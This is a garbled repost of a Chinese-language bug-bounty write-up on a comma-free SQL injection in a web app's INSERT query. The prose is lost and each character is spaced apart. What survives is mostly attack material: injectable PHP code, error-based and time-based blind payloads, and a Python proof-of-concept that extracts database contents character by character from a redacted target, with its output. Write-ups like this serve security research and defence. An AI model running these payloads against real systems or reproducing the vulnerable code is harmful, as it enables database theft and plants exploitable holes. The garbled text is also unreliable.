[14011] 2019-04-20_一次INSERT查询的无逗号SQL注入漏洞构造利用($10k)

文档创建者:s7ckTeam
浏览次数:35
最后更新:2025-01-18
2019-04-20_一次INSERT查询的无逗号SQL注入漏洞构造利用($10k) I N S E R T S Q L $ 1 0 k c l o u d s   F r e e B u f   2 0 1 9 - 0 4 - 2 0 S Q L I N S E R T 使 使 C o m m a P a y l o a d T i m e - b a s e d C a s e   W h e n L i k e S Q L $ 1 0 , 0 0 0 I N S E R T U P D A T E S Q L S Q L I N S E R T e x t r a c t v a l u e r e v i e w e m a i l n a m e S Q L 使 使   S u b q u e r y   S u b q u e r y r e v i e w   , i n f o @ e x a m p l e . c o m , t e s t   n a m e ) ;   ( s e l e c t   u s e r ( ) ) r o o t @ l o c a l h o s t r e v i e w e m a i l n a m e j n k   r e v i e w r o o t @ l o c a l h o s t d u m m y   n a m e $ e m a i l = $ _ P O S T [ ' e m a i l ' ] ; $ n a m e = $ _ P O S T [ ' n a m e ' ] ; $ r e v i e w = $ _ P O S T [ ' r e v i e w ' ] ; $ q u e r y = " i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' $ r e v i e w ' , ' $ e m a i l ' , ' $ n a m e ' ) " ; m y s q l _ q u e r y ( $ q u e r y , $ c o n n ) ; r e v i e w = t e s t   r e v i e w & e m a i l = i n f o @ e x a m p l e . c o m & n a m e = t e s t   n a m e i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' t e s t   r e v i e w ' , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) M a r i a D B   [ d u m m y d b ] >   i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' t e s t   r e v i e w ' , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0 1   s e c ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   *   f r o m   r e v i e w s ; + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - + |   r e v i e w             |   e m a i l                         |   n a m e             | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - + |   t e s t   r e v i e w   |   i n f o @ e x a m p l e . c o m   |   t e s t   n a m e   | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0 0   s e c ) t e s t   r e v i e w '   a n d   e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   d a t a b a s e ( ) ) ) )   a n d   ' 1 M a r i a D B   [ d u m m y d b ] >   i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' t e s t   r e v i e w '   a n d   e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   d a t a b a s e ( ) ) ) )   a n d   ' 1 ' , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' E R R O R   1 1 0 5   ( H Y 0 0 0 ) :   X P A T H   s y n t a x   e r r o r :   ' d u m m y d b ' j n k   r e v i e w ' , ( s e l e c t   u s e r ( ) ) , ' d u m m y   n a m e ' ) - -   - i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' j n k   r e v i e w ' , ( s e l e c t   u s e r ( ) ) , ' d u m m y   n a m e ' ) - -   - , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) ; M a r i a D B   [ d u m m y d b ] >   i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' j n k   r e v i e w ' , ( s e l e c t   u s e r ( ) ) , ' d u m m y   n a m e ' ) ; - - , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0 1   s e c ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   *   f r o m   r e v i e w s ; + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - + |   r e v i e w             |   e m a i l                         |   n a m e               | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - + |   t e s t   r e v i e w   |   i n f o @ e x a m p l e . c o m   |   t e s t   n a m e     |
T i m e - b a s e d P a y l o a d t r u e   f a l s e T i m e - b a s e d I f s u b s t r i n g P a y l o a d 5 d e t e c t i f y   s q l i - i n - i n s e r t - w o r s e - t h a n - s e l e c t u r l s [ ]     m e t h o d s [ ]   - , P a y l o a d P a y l o a d P a y l o a d u r l s P a y l o a d I F c a s e   w h e n 3 s u b s t r i n g L i k e ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   d % )     d   3 I N S E R T P a y l o a d P a y l o a d C A S E   W H E N L i k e C h a r P a y l o a d P a y l o a d P y t h o n |   t e s t   r e v i e w   |   i n f o @ e x a m p l e . c o m   |   t e s t   n a m e     | |   j n k   r e v i e w     |   r o o t @ l o c a l h o s t       |   d u m m y   n a m e   | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - + 2   r o w s   i n   s e t   ( 0 . 0 0 0   s e c ) M a r i a D B   [ d u m m y d b ] > x x x ' - ( I F ( ( s u b s t r i n g ( ( s e l e c t   d a t a b a s e ( ) ) , 1 , 1 ) )   =   ' d ' ,   s l e e p ( 5 ) ,   0 ) ) - ' x x x x $ u r l s _ i n p u t = $ _ P O S T [ ' u r l s ' ] ; $ u r l s   =   e x p l o d e ( " , " ,   $ u r l s _ i n p u t ) ; p r i n t _ r ( $ u r l s ) ; f o r e a c h ( $ u r l s   a s   $ u r l ) {     m y s q l _ q u e r y ( " i n s e r t   i n t o   x x x x x x   ( u r l , m e t h o d )   v a l u e s   ( ' $ u r l ' , ' m e t h o d ' ) " ) } x x x ' - ( I F ( ( s u b s t r i n g ( ( s e l e c t   d a t a b a s e ( ) ) , 1 , 1 ) )   =   ' d ' ,   s l e e p ( 5 ) ,   0 ) ) - ' x x x x A r r a y (         [ 0 ]   = >   x x x ' - ( I F ( ( s u b s t r i n g ( ( s e l e c t   d a t a b a s e ( ) )         [ 1 ]   = >   1         [ 2 ]   = >   1 ) )   =   ' d '         [ 3 ]   = >     s l e e p ( 5 )         [ 4 ]   = >     0 ) ) - ' x x x x ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   C A S E   W H E N   ( ( s e l e c t   s u b s t r i n g ( ' 1 1 1 ' , 1 , 1 ) = ' 1 ' ) )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   C A S E   W H E N   ( ( s e l e c t   s u b s t r i n g ( ' 1 1 1 ' , 1 , 1 ) = ' 1 ' ) )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                                                                                                                                 0   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 3 . 0 0 1   s e c ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   C A S E   W H E N   ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   ' d % ' )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   C A S E   W H E N   ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   ' d % ' )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                                                                                                                         0   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 3 . 0 0 1   s e c ) h t t p : / / x x x x x x x x / ' - ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   ' d % ' )   T H E N   ( s l e e p ( 4 ) )   E L S E   2   E N D ) - ' x x x u r l s [ ] = x x x ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( M Y _ Q U E R Y )   l i k e   ' C H A R _ T O _ B R U T E _ F O R C E % 2 5 ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '
i m p o r t   r e q u e s t s i m p o r t   s y s i m p o r t   t i m e #   x x x x x x x x x e x a m p l e . c o m   S Q L i   P O C #   C o d e d   b y   A h m e d   S u l t a n   ( 0 x 4 1 4 8 ) i f   l e n ( s y s . a r g v )   = =   1 :   p r i n t   ' ' ' U s a g e   :   p y t h o n   s q l . p y   " Q U E R Y " E x a m p l e   :   p y t h o n   s q l . p y   " ( s e l e c t   d a t a b a s e ) "   ' ' '   s y s . e x i t ( ) q u e r y = s y s . a r g v [ 1 ] p r i n t   " [ * ]   O b t a i n i n g   l e n g t h " u r l   =   " h t t p s : / / x x x x x x x x x e x a m p l e . c o m : 4 4 3 / s u b " h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 4 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 5 . 0 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 " , " A c c e p t - L a n g u a g e " :   " e n - U S , e n ; q = 0 . 5 " ,   " A c c e p t - E n c o d i n g " :   " g z i p ,   d e f l a t e " , " C o o k i e " :   ' x x x x x x x x x x x x x x x x x x x ' , " R e f e r e r " :   " h t t p s : / / w w w . x x x x x x x x x e x a m p l e . c o m : 4 4 3 / " , " H o s t " :   " w w w . x x x x x x x x x e x a m p l e . c o m " , " C o n n e c t i o n " :   " c l o s e " , " X - R e q u e s t e d - W i t h " : " X M L H t t p R e q u e s t " , " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " } f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :   c u r r e n t _ t i m e = t i m e . t i m e ( )   d a t a = { " m e t h o d s [ ] " :   " o n - s i t e " ,   " u r l s [ ] " :   " j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( " + q u e r y + " ) ) = " + s t r ( i ) + " )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - ' " }   r e s p o n s e = r e q u e s t s . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a ) . t e x t   r e s p o n s e _ t i m e = t i m e . t i m e ( )   t i m e _ t a k e n = r e s p o n s e _ t i m e - c u r r e n t _ t i m e   p r i n t   " E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( " + q u e r y + " ) ) = " + s t r ( i ) + " )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - ' " + "   t o o k   " + s t r ( t i m e _ t a k e n )   i f   t i m e _ t a k e n   >   2 :     p r i n t   " [ + ]   L e n g t h   o f   D B   q u e r y   o u t p u t   i s   :   " + s t r ( i )     l e n g t h = i + 1     b r e a k   i = i + 1 p r i n t   " [ * ]   o b t a i n i n g   q u e r y   o u t p u t n " o u t p = ' ' # O b t a i n i n g   q u e r y   o u t p u t c h a r s e t = " a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 . A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ @ - . " f o r   i   i n   r a n g e ( 1 , l e n g t h ) :   f o r   c h a r   i n   c h a r s e t :     c u r r e n t _ t i m e = t i m e . t i m e ( )     d a t a = { " m e t h o d s [ ] " :   " o n - s i t e " ,   " u r l s [ ] " :   " j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( " + q u e r y + "   l i k e   ' " + o u t p + c h a r + " % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - ' " }     r e s p o n s e = r e q u e s t s . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a ) . t e x t     r e s p o n s e _ t i m e = t i m e . t i m e ( )     t i m e _ t a k e n = r e s p o n s e _ t i m e - c u r r e n t _ t i m e     p r i n t   " E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( " + q u e r y + "   l i k e   ' " + o u t p + c h a r + " % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   " + s t r ( t i m e _ t a k e n )     i f   t i m e _ t a k e n   >   2 :       p r i n t   " G o t   ' " + c h a r + " ' "       o u t p = o u t p + c h a r       b r e a k   i = i + 1 p r i n t   " Q U E R Y   o u t p u t   :   " + o u t p [ 1 9 : 3 8 : 3 6 ]   r o o t : / t m p   #   p y t h o n   s q l 7 . p y   ' ( s e l e c t   " a b c " ) ' [ * ]   O b t a i n i n g   l e n g t h E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( ( s e l e c t   " a b c " ) ) ) = 1 )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 3 8 2 0 5 8 6 2 0 4 5 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( ( s e l e c t   " a b c " ) ) ) = 2 )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 3 1 9 7 1 9 3 1 4 5 8 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( ( s e l e c t   " a b c " ) ) ) = 3 )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 5 5 0 4 8 8 9 4 8 8 2 [ + ]   L e n g t h   o f   D B   q u e r y   o u t p u t   i s   :   3 [ * ]   o b t a i n i n g   q u e r y   o u t p u t E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 5 7 0 1 8 8 0 4 5 5 G o t   ' a ' E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a a % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 6 3 5 0 6 1 9 7 9 2 9 4 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 6 1 5 1 3 4 0 0 0 7 8 G o t   ' b ' E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b a % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 6 5 8 7 9 8 2 1 7 7 7 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b b % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 5 3 0 0 5 9 3 3 7 6 2 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b c % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 6 2 0 8 2 8 1 5 1 7 G o t   ' c ' Q U E R Y   o u t p u t   :   a b c
$ 1 0 , 0 0 0 S Q L P a y l o a d * r e d f o r c e c l o u d s F r e e B u f . C O M x x x ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( M Y _ Q U E R Y )   l i k e   ' C H A R _ T O _ B R U T E _ F O R C E % 2 5 ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则